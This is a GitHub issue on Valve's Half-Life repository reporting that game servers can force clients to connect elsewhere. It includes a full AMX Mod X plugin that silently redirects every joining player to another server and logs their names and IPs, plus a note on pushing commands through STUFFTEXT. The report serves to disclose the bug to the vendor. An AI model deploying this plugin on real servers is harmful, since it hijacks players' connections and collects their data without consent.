ValveSoftware / halflife

Half-Life 1 engine based games
Other
3.72k stars 624 forks source link

Connect command - redirection trash server #1663

Closed illiftwhat closed 3 years ago

illiftwhat commented 9 years ago

Hi,

Command connect with addons work... but valve don't fix this exploit...

client_cmd(id, "wait;wait;wait;wait;wait;^"connect^" %s",server);

Connecting to 151.80.254.XX:27015... (my server ip, just for try the plugin) Connection accepted by 151.80.254.XX:27015 Mise en place des Privileges Connecting to 127.0.0.1... Retrying 127.0.0.1...

addon code for exemple, u can compile and try:

include < amxmodx >

include < amxmisc >

define PLUGIN "Redirect Steamerino"

define VERSION "1.0"

define AUTHOR "2015"

pragma semicolon 1

new serverip,redirectlogs,minplayers;

public plugin_init() { register_plugin(PLUGIN, VERSION, AUTHOR); serverip = register_cvar("server_ip","89.44.xxx.xxx"); redirectlogs = register_cvar("redirect_logs","1"); minplayers = register_cvar("redirect_minplayers","0"); }

public client_authorized(id){ new text[100],name[32],ip[32],timp[32],server[32]; new Num;

get_user_name(id,name,31); get_user_ip(id,ip,31); get_pcvar_string(serverip,server,31); get_time("%H %M %S",timp,31);

Num = get_playersnum();

if(Num >= get_pcvar_num(minplayers)) { get_pcvar_string(serverip,server,31); client_cmd(id, "wait;wait;wait;wait;wait;^"connect^" %s",server); }

if(get_pcvar_num(redirectlogs) == 1) { if(!file_exists("addons/amxmodx/configs/redirect_logs.txt")) { log_amx("redirect_logs.txt nu exista! Pluginul nu va rula fara acest rahat!"); return PLUGIN_HANDLED_MAIN; } format(text,99,"[%s] Player %s - IP %s redirecting to %s",timp,name,ip,server); write_file("addons/amxmodx/configs/redirect_logs.txt",text,-1); } return PLUGIN_CONTINUE; }

@alfred-valve please, fix this exploit :)

hzqst commented 9 years ago

you can even send connect command to client with SVC_DIRECTCMD: https://github.com/ValveSoftware/halflife/blob/master/cl_dll/hud_spectator.cpp at line 815

        case DRC_CMD_STUFFTEXT:
        {
            EngineClientCmd(READ_STRING());
            break;
        }
····
Maxi605 commented 3 years ago

@alfred-valve this is fixed already.